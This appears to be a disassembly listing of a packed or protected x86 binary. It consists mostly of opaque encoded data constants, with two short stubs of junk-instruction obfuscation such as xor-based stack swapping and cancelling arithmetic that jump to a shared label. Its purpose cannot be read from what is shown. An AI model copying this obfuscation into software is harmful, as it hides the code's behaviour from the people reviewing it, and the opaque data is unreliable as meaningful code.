		dd 0D24849BAh, 0B30169FBh, 0DD335FB0h, 524975FBh, 3E35EBEEh
		dd 2BBD7DAh, 4DDB322h, 2B30A224h, 8F8E62E7h, 156C49B3h
		dd 5CDE2FCEh, 0E0h, 62D35C02h, 6FE9073Ah, 0B189F341h, 0ED5659B7h
		dd 7CBF364h, 84D26FE9h,	0E54D421Ah, 74322CE2h, 58C2B680h
		dd 0BC2528C0h, 79AC233h, 53A16FE9h, 0B91711E9h,	0EF0D9C0Eh
		dd 4F40263Ch, 0BFDC67E5h, 556FE99Ah, 6F5FFD5Bh,	8A911B75h
		dd 91050CEh, 7F135260h,	7F17756Ch, 972A217Ch, 0AED27BECh
		dd 8DDB69FBh, 0C0E859E2h, 0CF75FBAFh, 4991781h,	5ECF7A09h
		dd 7010512Fh, 6F232092h, 0E448B15Ah, 7F519B7Ah,	240728F6h
		dd 19EF9A32h, 2E1EBC24h, 0BDDFD139h, 8A796F57h,	98D02A7h
		dd 0B4A70000h, 0C6BAAA48h, 0D6CEBE5Ch, 0F0E6D674h, 7FCEC8Ah
		dd 3594019Fh, 0CC6AD2C7h, 0E381E5DCh, 0FC9AFAF3h, 16B4120Ch
		dd 1D45B617h, 2C75FEA8h, 1A0FC719h, 2A2414B2h, 198B2ECCh
		dd 0C841380Ah, 0D5117B4Dh, 5CCD636Ah, 6FE90734h, 0C00589A6h
		dd 302F2906h, 169F4AE2h, 6B93048Dh, 726FEA04h, 4699124h
		dd 22706FEAh, 0E4445B8h, 0B70569FCh, 0F13763B4h, 966F75FBh
		dd 648BE2B6h, 0E80DE30h, 3DC5A494h, 0C7006ABCh,	0CAh, 0B7150F6Dh
		dd 8E09FEB4h, 0E907F51Dh, 22B6046Fh, 0BEF18FB8h, 0A651E90Dh
		dd 7D75D9D0h, 0D5B82286h, 0E9D56784h, 65C3BD6Fh, 7FDDD7C7h
		dd 972A217Ch, 0D9D27BECh, 592F69FBh, 44A49D63h,	0E953A9ACh
		dd 0FE685C0Ah, 0ECE5BB66h, 0FA4228Ch, 69DA851Ch, 70107F4Bh
		dd 0E5494016h, 43228CE2h, 7F744AF5h, 595CC0B7h,	0B34BA9A3h
		dd 0A49A701Bh, 9BB0EA42h, 98FDEFh, 0BF3DA7FDh, 0FA22931Ch
		dd 16FEF40h, 7C7149B3h,	18682214h, 0E0C37970h, 8723Bh
		dd 63CFC200h, 77E1D5C5h, 8FF1E9D9h, 0A50B01F1h,	0BA221707h
		dd 0E250AF1Ch, 0F7E785EDh, 0EFE9C00h, 2717B515h, 3231CF2Dh
		dd 0A93860D1h, 344775FEh, 0B21A0FE2h, 0CC2A2414h, 150FDA2Eh
		dd 70B33A4h, 0C8126FE9h, 2D3EAA0Fh, 28C058CAh, 66820B7Dh
		dd 620D35B9h, 655F15F8h, 62D35C07h, 6FE9DE3Ah, 0B89F341h
		dd 64677CB9h, 665C32DDh, 3DA7FD00h, 5A441B2h, 277569FCh
		dd 7288DA2Dh, 25FB9734h, 5FC8CB2Dh, 0C392C6EEh,	0EF87D568h
		dd 7E050885h, 0B1D94AD3h, 0B868C392h, 0EC75006Ah, 4FB92116h
		dd 0D5C1C7DCh, 0ECE4BA62h, 0C731878Ah, 3C979AE8h, 9607B231h
		dd 68C5353Dh, 527AEB4Ch, 5968C6CBh, 3FC8730Bh, 0D597A6CDh
		dd 4ADDD2AAh, 68C60E22h, 1F857B29h, 362EC61Ch, 0E772DC3Eh
		dd 1BB91711h, 567EEF78h, 6C68C60Eh, 0C6100F77h,	0B8BB7A2h
		dd 3AA43CE5h, 0A20E6862h, 7EB6DBFCh, 295749E1h,	0EE8098AEh
		dd 769660Bh, 0D8CB0000h, 0EADECE6Ch, 0FAF2E280h, 140AFA98h
		dd 2B2010AEh, 59B825C3h, 0F08EF6EBh, 7A50900h, 20BE1E17h
		dd 3AD83630h, 4169DA3Bh, 4875FEAAh, 150FE335h, 5259B4B7h
		dd 7234BBCh, 0DC2A6FE9h, 0E7289944h, 2669FB18h,	88207E78h
		dd 4CBE47EAh, 341A6F63h, 0A6CE61B5h, 0B575FB70h, 8D80FD67h
		dd 0BEDA4BF6h, 4D700F01h, 847E54FFh, 0FE58826h,	0F9AFB21Ah
		dd 459B9E02h, 716B43ADh, 0B6B51013h, 0D7A3A02Fh, 0D76F09C4h
		dd 6D84BB2Ch, 3B896A04h, 66C0BA90h, 0C86A6933h,	50308117h
		dd 87EBCF63h, 7666049Ch, 729A0B7Ch, 7975FB59h, 597FA718h
		dd 408E75FBh, 8F6510A8h, 0DE343795h, 37369174h,	0CF9001ACh
		dd 52700D68h, 2023837Ch, 338160CAh, 760F3D41h, 46EBCE79h
		dd 68Fh, 0A846B2A5h, 0BC5AC4B8h, 0D472D4CCh, 0EA88EEE4h
		dd 0FF9D05FAh, 0D0C53792h, 0E3DACA68h, 0F8F1E17Fh, 100AFA98h
		dd 0B41514B2h, 0FEAB1B43h, 0BD0F2275h, 2E8C865Ch, 0EE6BD52Bh
		dd 0ED368FFh, 0E96CBC8Ah, 0DBD0A651h, 0D7E0973h, 69FD23CEh
		dd 3006B1FFh, 4A3AD836h, 39999250h, 48439EA1h, 0F8FB6559h
		dd 0EE5F0AA2h, 70102DADh, 0D89C8EDCh, 1F796F46h, 619973Ch
		dd 281B0000h, 3A2E1EBCh, 4A4232D0h, 645A4AE8h, 7B7060FEh
		dd 0A9087513h, 40DE463Bh, 57F55950h, 700E6E67h,	8A288680h
		dd 91B92A8Bh, 9875FEACh, 865C3385h, 6ED8CC8Eh, 137D156Bh
		dd 0B2AC9796h, 0FF97FFF4h, 2F4BBC67h, 0DE69FC98h, 150FE590h
		dd 2F2919B7h, 5B5026D1h, 4BA689F3h, 8D16C140h, 0A143EA1Bh
		dd 0ED96FAE5h, 0F0319C61h, 0EF62CC64h, 7011CEB8h, 63EC97E5h
		dd 3B33958Dh, 9B73DD47h, 6E2A47A1h, 8017D361h, 605A4AE8h
		dd 0A9A4FF02h, 3DFE6F1Ah, 4C69FBE0h, 78D60CFEh,	0A2857363h
		dd 576FDh, 5FCBBE00h, 73DDD1C1h, 8BEDE5D5h, 0A107FDEDh
		dd 0B61E1303h, 0DE4CAB18h, 0F3E381E9h, 0AFA98FCh, 2313B111h
		dd 2E2DCB29h, 0AC345CCDh, 283B75FEh, 0B7150FD6h, 0A604FEB4h
		dd 9B8F6508h, 434AC731h, 1046A60h, 0F76813ABh, 69FB1E3Ah
		dd 0A9FAFD4Bh, 75FB227Dh, 28FCDCB5h, 0DE2F99D1h, 0A4CC3DC6h
		dd 0AB75FB1Ah, 98FEEF61h, 64FC7949h, 5DC1FAh, 42180000h
		dd 0CA3BE64Ch, 75FB63A2h, 0B5F15BA9h, 3A62D35Ch, 416FE907h
		dd 10C89F3h, 784ED782h,	43B6207Eh, 69FB1142h, 0FCD27DCBh
		dd 4AA0A303h, 80ACFDE0h, 0B875FB1Eh, 0D42BFFDFh, 0C9DE2F91h
		dd 79BF9F3h, 52D647A1h,	74AD17CAh, 10Bh, 71259CBh, 1376C049h
		dd 60B6B91Bh, 5C225EC8h, 2A2D8D86h, 81E5DCD4h, 0E6BE287Eh
		dd 0D03A2EECh, 0DCDF77CDh, 70693126h, 0BF757810h, 4ABC67C5h
		dd 4ABE6C8Fh, 0B295FFC7h, 6A402FCh, 0E9205E7Bh,	5EBCB66Fh
		dd 85E3DDB3h, 3A342C82h, 4F472DCh, 4EA9AC0Ah, 9019C45Fh
		dd 0E91FF71Fh, 34A5066Fh, 6FE91F0Ch, 0C32DC513h, 0E2D9AF38h
		dd 1FD2FA6Bh, 8BD96FE9h, 433AF0F3h, 0EE86DCDFh,	3D581184h
		dd 338169FBh, 760D0095h, 0A9D142CBh, 0B075FB41h
		dd 0FC6DF862h, 700FE366h, 0DAB05BA9h, 3CDF7DE5h, 90C6E66h
		dd 0F99642B7h, 38D015A3h, 9D01F6CEh, 0E1CE6F9Dh, 0AFC94B7h
		dd 796FE7CEh, 0F4F19679h, 40000003h, 5343E14Dh,	6757F55Fh
		dd 7F6F0D6Fh, 95852389h, 2D9A38A0h, 36B60D2h, 1A7E7565h
		dd 33938C7Ch, 4DABA595h, 0DE4FB0AFh, 75FEAEB6h,	0F60B2C5h
		dd 0F65C521Ah, 0DF81B662h, 0E078D8CFh, 26A5F35h, 302A1A98h
		dd 6AE034D2h, 5F35E063h, 0E8590468h, 6FE907C0h,	8C1781CFh
		dd 0FB121A1Bh, 0E2E53369h, 0FB1E6591h, 68DA9D75h, 0EB5CB8C6h
		dd 75FB6BC3h, 6BE87CCAh, 13B41EBBh, 0E2085F33h,	0AF4FDE2Fh
		dd 0F5000000h, 4EACEA5Ch, 49E81EDDh, 0AF0D07DFh, 0D2382E04h
		dd 0DACF8568h, 0B7BA1812h, 10706961h, 1C1FB70Dh, 83E5DDB3h
		dd 4DC02A80h, 6FE91130h, 133BAC35h, 1A6FE916h, 908A62CCh
		dd 0AAA49432h, 0FFEE494Ch, 8F48B964h, 0BE69FB33h, 4E3DD270h
		dd 609708B3h, 6D700FDBh, 0A99E741Fh, 0BEB3A341h, 0CB726456h
		dd 0E6C9796Fh, 30641h, 0CF3B2E00h, 0E34D4131h, 0FB5D5545h
		dd 11776D5Dh, 268E8373h, 4EBC1B88h, 6353F159h, 7A6A086Ch
		dd 93832181h, 9E9D3B99h, 0AFA4CC3Dh, 98AB75FEh,	0B21A0F46h
		dd 0D33D3107h, 92107AD0h, 0AC4AA8A2h, 0D93B3309h, 150F336Fh
		dd 0C24BB4B7h, 0E9072951h, 0D943376Fh, 4A228CDAh, 369C9250h
		dd 85AE009Eh, 1FCA5954h, 0C7067CADh, 0DDD76BD1h, 0A12C9608h
		dd 0FC039330h, 89348269h, 0DE067700h, 0ED75FC04h, 4E40C9Fh
		dd 9DEB75FCh, 32065933h, 0A5D1EF6Eh, 69019E33h,	7F7C1070h
		dd 7EA61743h, 8D1210EDh, 0BAAFA73Fh, 8FF94F52h,	0DD881B12h
		dd 1FE5E254h, 0A70DFE94h, 0DBE1CA3Dh, 0BA680C22h, 85E61C1h
		dd 1B126D70h, 136CDD88h, 7A0E3257h, 0B1AB812Ch,	8912B553h
		dd 9A9F018h, 47B1FF12h,	2517756Fh, 0D755AFA7h, 1CF89D80h
		dd 18000002h, 2B1BB925h, 3F2FCD37h, 5747E547h, 6D5DFB61h
		dd 5721078h, 0DB4338AAh, 0F2564D3Dh, 0B6B6454h,	25837D6Dh
		dd 0B6278887h, 75FEB08Eh, 0F388A9Dh, 360CB715h,	24867E3Ch
		dd 0C933CB21h, 1808BE6h, 2678E556h, 3B8969FBh, 2F24FA9Dh
		dd 6235DC7h, 0E5DFC2C9h, 9A2E8487h, 0E9FF3346h,	57029A1Fh
		dd 0E2949E6h, 100AB870h, 996F1AB2h, 0E53B3EA2h,	2E4EA17Bh
		dd 3FD3683Ah, 990AB54Ch, 2689F284h, 0F95457A5h,	0B21A0FF2h
		dd 16C159AFh, 99064CA5h, 0C46FBD24h, 0F896F4EEh, 0BEB00E08h
		dd 0BCEC5DFCh, 74872C0Fh, 0C0000001h, 0D3C361CDh, 0E7D775DFh
		dd 0FFEF8DEFh, 1505A309h, 0AD1AB820h, 83EBE052h, 9AFEF5E5h
		dd 0B3130CFCh, 0CD2B2515h, 5ECF302Fh, 75FEB036h, 0FE03245h
		dd 360CB715h, 8F72DC3Eh, 0FFAA3934h, 0FB033D8Eh, 53FE4C69h
		dd 0B620887Dh, 0F744E638h, 6D652B21h, 1AB2080Bh, 0A93833B0h
		dd 32F08DFEh, 0D321700Dh, 16FE86D9h, 7C6FD71Ch,	40B13AE5h
		dd 28DBC718h, 0E46FD927h, 0EDF65E73h, 5E61AF22h, 21190803h
		dd 0B7C27BFh, 28DD6AB2h, 9D63592Fh, 0E93F42A6h,	8EF84E51h
		dd 0E0B661AFh, 0FAEA88E6h, 0B0A200h, 0F7C080C2h, 0C96F14h
		dd 786B0000h, 8A7E6E0Ch, 9A928220h, 0B4AA9A38h,	0CBC0B04Eh
		dd 0F958C563h, 902E968Bh, 0A745A9A0h, 0C05EBEB7h, 0DA78D6D0h
		dd 0E1097ADBh, 0E875FEB1h, 150F83D5h, 5259B4B7h, 129B24CFh
		dd 0E90779A1h, 0C832806Fh, 0FB2C0C55h, 31CF1D69h, 6712919Ch
		dd 0EC6BBF6h, 797CCA70h, 0CD6BC9C3h, 3025E3DDh,	0D76FC5C8h
		dd 86ADBA2Ch, 181B8378h, 2D952EC2h, 227356C0h, 3ED7A197h
		dd 4C4FB9ADh, 3639A196h, 0D14020DFh, 0C2BB9132h, 9F095F62h
		dd 554F1EFEh, 52C34CF7h, 0C10A5F2Ah, 0FB79E331h, 2FA0110Bh
		dd 0C10A5F07h, 0DAD0C816h, 831B7174h, 6ED4CA80h, 7555146Bh
		dd 0B04EACA6h, 6568C6C0h, 0AC0h, 0A956E00h, 0D3D64034h
		dd 0FD7137Dh, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh
		dd 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h,	4D0B0E78h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	563Dh
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	edi, 77CE1F45h
		push	eax
		mov	eax, 48CF7676h
		or	eax, 278D0C82h
		xor	eax, 43A1176Fh
		xor	edi, eax
		pop	eax
		and	edi, 359406D2h
		shl	edi, 2
		inc	edi
		shr	edi, 3
		sub	edi, 2AA63F7h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	555Ch
		mov	[esp], edx
		mov	edx, 8
		add	edx, ecx
		mov	[edx], edi
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		db 45h,	0E2h, 0DEh
		dd 0CEBB2C5Eh, 0CCE2736Ch, 0AB4AB8DDh, 0C5030615h, 4EF9E0FFh
		dd 981C6851h, 8B866B17h, 0F9F25C20h, 945B7ABCh,	49234E68h
		dd 22E00907h, 0EC352A2Ch, 0AE161AF1h, 368D4784h, 3EFE505Eh
		dd 0F083471Ch, 1CFE5191h, 0CAB94B0Ah, 0F3370432h, 7E5D7Eh
		dd 0C43769BDh, 0D3AD59B1h, 0C2E21311h, 14E87331h, 74000000h
		dd 22EA62EEh, 82DA6C67h, 6DD22492h, 3D0EE036h, 8B9AE827h
		dd 8D0F5BD6h, 7, 1850Fh, 81FC0000h, 617CC3h, 9E900h, 21E80000h
		dd 149CC646h, 0BEEDA18Fh, 0
dword_581698	dd 0AD1CCF81h, 48B5274h, 0C081FC33h, 71D3555Ah,	5E8h, 0B57F3200h
		dd 0BF66895Dh, 8159CABAh, 579E99C0h, 0A3CA8046h, 2347F081h
		dd 8166698Bh, 502D45D2h, 8F0FE180h, 0BE83304h, 5000000h
		dd 9F8AEA9Ah, 4F37C041h, 0F5A3095h, 1C89h, 11E800h, 7CC0000h
		dd 0FDFA98Ch, 0D2FA7095h, 5009B593h, 66A035F2h,	0B2BEF181h
		dd 1EE835Fh, 98F8F8BFh,	4E4E4E43h, 4F9FD981h, 0FE813BB3h
		dd 0FFFF9F74h, 10850Fh,	28E90000h, 0B6000000h, 6A4B655Ah
		dd 1D1EB6A2h, 815013CBh, 56F92EC2h, 5FE95F5Bh, 85FFFFFFh
		dd 86FF56CEh, 630F9D23h, 0BF5C380Dh, 0E9A615D4h, 148h
		dd 50h,	54h, 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h
		dd 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h
		dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_581698+11Ch
		dd 0A150EBh, 0AD3E858Dh, 9D090615h, 6121B65h, 0AE7E8589h
		dd 85C60615h, 6122871h,	65953154h, 60061211h, 0CE9h, 34E37200h
		dd 1A0B9CABh, 0AD510C01h, 0AD8503CCh, 61061231h, 134E3D68h
		dd 97BE5695h, 5A7E17FEh, 0EC240481h, 66594F19h,	8E71F681h
		dd 30E9B5FFh, 858D0612h, 6157F35h, 13B547BAh, 0FCD0FF35h
		dd 68C0Fh, 95010000h, 6121025h,	0AE828589h, 3EE90615h
		dd 0F9000000h, 7EB58B56h, 890615AEh, 7E858306h,	40615AEh
		dd 8D60C35Eh, 15AD3EB5h, 560FEB06h, 36FF006Ah, 0AE8295FFh
		dd 835E0615h, 3E8304C6h, 61EC7500h, 68A0FC3h, 89000000h
		dd 121EB99Dh, 14858D06h, 890615AFh, 1210C985h, 21E906h
		dd 5B730000h, 4A53h, 6 dup(0)
		dd 0E9000000h, 550h, 88269285h,	9C3AA498h, 0B452B4ACh
		dd 0CA68CEC4h, 0DF7DE5DAh, 0B0A51772h, 0C3BAAA48h, 0D8D1C15Fh
		dd 0F0EADA78h, 94F5F492h, 0FEB6FB23h, 9DEF0275h, 3A62D35Ch
		dd 416FE907h, 0B7B189F3h, 0ABA05659h, 2C02A543h, 8E66D036h
		dd 0B58B3694h, 0B1D94ABBh, 0B86FE907h, 79CFD26Ah, 7C762C0Fh
		dd 0DCB21B1Eh, 928A82E4h, 0FAEEC630h, 0DFD78D90h, 0CCC47A7Dh
		dd 2CA5676Ah, 9D3EDD4Ch, 696CD0C7h, 2808A913h, 84AC1DA6h
		dd 8B6FE907h, 1FBD33Dh,	1C1505A3h, 423B11BCh, 1F89DFE2h
		dd 58B8B1A1h, 44A89F55h, 4B2BEA41h, 8523837Ch, 0E9DD9B95h
		dd 8E267C7Fh, 70D3A8Bh,	5BC6FE9h, 7AFA5125h, 6141D81Dh
		dd 98000000h, 6265CDC2h, 0BA1C140Ch, 865C1450h,	0E7BF2991h
		dd 0DDCD93EDh, 72AEC782h, 5C86D7DAh, 0B6FE979h,	379F946Ah
		dd 784C2CCDh, 0D81DED21h, 168h,	1B0F0E00h, 4F8AEB1h, 0B1EFF89Eh
		dd 0BE567221h, 0A90F05BBh, 1FA849A6h, 0E9AD86AEh, 4F47956Fh
		dd 9DF3F656h, 0E3B29233h, 0F7E785EFh, 0AD019FFDh, 3A62D35Ch
		dd 416FE907h, 0BCB189F3h, 7A8D041h, 0C4BE6FE9h,	0C4B96766h
		dd 6B03595Ch, 821A7A73h, 6BD5C97Fh, 0B3934C68h,	0DC87EFE4h
		dd 0A9AC0E06h, 7B6BE953h, 6A202381h, 8F651072h,	0EACD3795h
		dd 0C99D7D56h, 0D81D8082h, 0C3A9h, 1A0F4F00h, 159507B2h
		dd 0C5E046B6h, 0DF482B95h, 26BDE556h, 7ECC6FE9h, 0E2443C14h
		dd 58E182DFh, 0E926BFE7h, 78E0D56Fh, 73D1CB79h,	18821A70h
		dd 0D3C89777h, 0F4EAC06Bh, 0B6A6248Eh, 31195DC1h, 0F3A2CA3Bh
		dd 5BA96FE9h, 19676EC7h, 3F157E81h, 8BE1E448h, 32359F93h
		dd 0A49A72DCh, 0E4A73B3Eh, 0E4A5B572h, 2F99D7F0h, 93DAAE8Eh
		dd 0BAD81D92h, 6Fh, 0E3413B11h,	0E4208AE0h, 3A62D35Ch
		dd 416FE907h, 0BCB189F3h, 12E85154h, 5CB2B51Dh,	0C1211AF2h
		dd 0AD1108BEh, 3AFCF4AAh, 4548E042h, 7436BDCh, 0FC4A6FE9h
		dd 4EBD9D56h, 400FEFA8h, 375FD04Bh, 9A6FE907h, 0E9070129h
		dd 0BBBA086Fh, 0E337D56Dh, 2D9E1B0Fh, 6FE90705h, 2B2EC614h
		dd 0E907ADDAh, 0C5A55C6Fh, 1D7A9AF1h, 1E1D8h, 0F870000h
		dd 810AB517h, 0E907E810h, 3FA9F76Fh, 291DF35Ch,	7BA314BFh
		dd 826FE907h, 0F8F2CA34h, 8140979Ah, 65DAD2A1h,	7436BDCh
		dd 0FC4A6FE9h, 0E9074169h, 0F3594F6Fh, 519B9AF0h, 13F188BAh
		dd 10A84059h, 0F3EEDD72h, 0ACA199FBh, 9001AC44h, 69FBB137h
		dd 5F151866h, 79690765h, 0A076217Fh, 0FBDE48A6h, 0FBAF80AAh
		dd 4F2FE875h, 0E25B5BCDh, 0D464410h, 73D1CBA3h,	8DEBE5D5h
		dd 80DAD48Ah, 0A037432h, 45B016AAh, 30A24DE5h, 7F7955CCh
		dd 5FCF48Ah, 385437A1h,	0AB1D9F7Fh, 33865FE9h, 24FC661Bh
		dd 392ECC2Ah, 0DE3048E2h, 13429h, 86F78000h, 75FBC95Eh
		dd 79B51F6Dh, 35E0636Ah, 0FB347BC4h, 7174C269h,	0C563C1BBh
		dd 0F7534C22h, 81E44FB7h, 0B21CB4E1h, 0DE86E0DAh, 0DA8E8F39h
		dd 66CAC1B9h, 0CA750D63h, 989BFBF4h, 3FF5D842h,	2EE4E745h
		dd 1AD0D337h, 54BDC022h, 0FB0DBBE3h, 0D574C275h, 71CF3E1Eh
		dd 0F09D8B8h, 0C71E13B1h, 0EDE2F80h, 43h, 0DC6F6AB4h, 0F9B8C031h
		dd 0D9871016h, 0E5E880E0h, 0E9066C94h, 350B6EEFh, 84DADD3Bh
		dd 2599791Ah, 0DB41372Ah, 3FEA82D8h, 16F8C6CEh,	0DFD3A990h
		dd 20B82015h, 0EB89D7B6h, 900Ch, 9F956B00h, 6A93CF39h
		dd 0C435E063h, 69FB1BAFh, 772D307Eh, 65C7BF7Dh,	453F2FCDh
		dd 7493E4E7h, 0F275FB23h, 908A5939h, 2486AE1Fh,	479575FBh
		dd 986E11AFh, 57D43EA0h, 0B122CD54h, 700EC735h,	2A9396E4h
		dd 766BC7B8h, 0B21CBD69h, 0D782E0DAh, 8E45765h,	81EBD1BAh
		dd 0A888479Eh, 0FFAA3934h, 0CED12F29h, 12830E78h, 6A03BE96h
		dd 0B344A719h, 7255CF3h, 0AEB11B0Fh, 0C50FEE58h, 112C0E43h
		dd 8AECE44Ah, 1993187h,	0F5EAC063h, 0CA348A8Dh,	52EA5C8Eh
		dd 7C2E030Dh, 56D9C559h, 23F97E92h, 0B2313CB9h,	0D61A9607h
		dd 0A77D69FCh, 15B64AB2h, 97E244FDh, 0FC4A2993h, 0EB4943F9h
		dd 5635D4Dh, 0DB37E85Ah, 0D405A166h, 0DA36876Ah, 8929C5C3h
		dd 0B41E12E8h, 0FAC9A94Ah, 21F7A200h, 6AC0C32Dh, 98928200h
		dd 8B81373Ah, 0CCB2225h, 5635D2Ch, 1F7D7767h, 3771Ch, 95250000h
		dd 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah,	63CBC076h
		dd 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h, 89514D0Bh
		dd 4C181E1h, 83000000h,	0C8704E9h, 14895C24h, 9C36824h
		dd 34890000h, 3A5E6824h, 3C890000h, 0BF575524h,	67EB79E8h
		dd 8B8544BDh, 5FFD29ABh, 0A42AF581h, 0EE8945B5h, 3C8B545Dh
		dd 4C48124h, 83000000h,	348904ECh, 242C8124h, 34FB04C8h
		dd 8108478Fh, 4C80847h,	3C8B34FBh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		dd 8C5E3ED4h, 52F1BD56h, 0F4121BAAh, 15B43CB8h,	0FFC50306h
		dd 32F1BEE0h, 4F902349h, 0C197550Bh, 0B79C847Bh, 0C9EFAA78h
		dd 99AA5D32h, 43685832h, 0EC5A1B44h, 0BD42E87Bh, 3BF4E7Bh
		dd 10EF8C2Ch, 0D17B266Eh, 0EC63880Bh, 0EE1DCC4Ah, 0F1DEC302h
		dd 3ABF1D06h, 60EE9E2Fh, 649BC857h, 0F5ECF7Fh, 0EEECAA30h
		dd 0FD817627h, 0BF34EF72h, 0EC7ADC4Ch, 0ABBF60Fh, 0AFD48F18h
		dd 5CF57367h, 0AE259761h, 96BB2503h, 0EDD55D65h, 8F4FEB59h
		dd 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h
		dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh
		dd 0D09500A6h, 0EA1A0047h, 0D5A3h, 199C0000h, 0FECAh, 0FBFE4Ah
		dd 0B4870000h, 202352DDh, 339C9ED9h, 4EE977E7h,	6A000012h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0AAD6C350h, 0B6296467h, 0F79440Bh, 380h
		dd 0D0BF0F00h, 35D18166h, 0ADBD83CCh, 61207h, 33850Fh
		dd 85890000h, 6121895h,	0B8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B7804D5h
		dd 12191595h, 4C206h, 6AC08BFCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0E456C356h,	0B53F6118h
		dd 7CF18166h, 91BD8314h, 6121Bh, 0BD830975h, 61217DDh
		dd 50137400h, 0B8C08B53h, 4D0h,	0ABE39D8Dh, 0D3FF0614h
		dd 0BD83585Bh, 61217DDh, 50117400h, 4D0B853h, 9D8D0000h
		dd 614AB30h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 4DC35343h, 29181CEBh,	48AEF3A2h, 0C58D8BACh
		dd 52061207h, 9BD8D09h,	8B5A0612h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8B6622F1h
		dd 0FD8D8BFBh, 8D06121Ch, 15B58885h, 0DE906h, 8C4E0000h
		dd 0C3CC8826h, 0CFC89E1Dh, 0FEF76AAh, 481h, 0A1B96600h
		dd 0FE8B5044h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0F2E7C356h,	95892FF2h
		dd 612033Dh, 0B545858Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0B589ABC3h, 6121185h
		dd 18818589h, 0F900612h, 8Ch, 52505000h, 0CB8B310Fh, 6A90585Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0E2A7C355h, 23ECD4F8h, 10E983h, 0D3870000h
		dd 6C948130h, 0BB236411h, 821231B7h, 95FF219Ah,	612109Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 87C35141h
		dd 8055E58Dh, 448BEBD9h, 6A0424h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 5FF2C2C3h, 0E80DB200h
		dd 0Ch,	0D0C1D39h, 0E2C7C5DBh, 0F3FD09D8h, 7085895Fh, 6A0615B5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 4CE9C350h, 0F85D8A20h, 0FC9D7C59h, 824448Bh
		dd 774C56BFh, 84858900h, 830615B5h, 120881BDh, 850F0006h
		dd 0E9h, 0FE9h,	860C0000h, 2ABD262h, 5B0D8C2Bh,	3D79FC14h
		dd 287185C6h, 6A470612h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 5CADC353h, 9B32F482h
		dd 68D7BF0Fh, 90278BEBh, 842C22BFh, 2434811Ah, 44BD2C39h
		dd 1C49BD89h, 0B5FF0612h, 61230E9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 32C35646h, 4B55B80Ah, 0FDBD297Ah
		dd 8906121Ch, 1219ED8Dh, 35858D06h, 6A06157Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0C680C351h, 8BD0FFF8h, 1219E995h, 81858906h,	6A061208h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0F2FEC357h, 5F7AB4E3h, 66A31218h,	314E1DB9h
		dd 12229D95h, 0E1BD8306h, 61209h, 8E850Fh, 10E90000h, 10000000h
		dd 16C5488Dh, 0E144331Dh, 0DD645BFDh, 0C6788433h, 12287185h
		dd 8D014706h, 6120035h,	0E3FF8768h, 57525075h, 0F596160h
		dd 9BF6631h, 81585A5Fh,	0B65B2404h, 9D31142Bh, 6123025h
		dd 23D58589h, 0B5FF0612h, 61230E9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 2CC35040h, 56A86EF8h, 8D1B501h
		dd 8D590612h, 157F3585h, 0D9B58906h, 0FF061209h, 0EA8166D0h
		dd 85894DE0h, 61209E1h,	2FEDBD83h, 0F000612h, 0B285h, 4D950100h
		dd 0C6061203h, 12287185h, 0BF665606h, 4E89383h,	39000000h
		dd 57D41F6Dh, 0EE860h, 0AF390000h, 1DAB0340h, 59FB0EF6h
		dd 0FD812B6Dh, 6159575Ah, 0E860505Ah, 7, 8A0F85Eh, 0F979267h
		dd 83h,	8B615F00h, 8B042444h, 89D68B00h, 60042444h, 5F616057h
		dd 0EA8A5861h, 30E9B5FFh, 81BA0612h, 8D1F2425h,	157F3585h
		dd 0A9858906h, 0FF061200h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B5D03910h
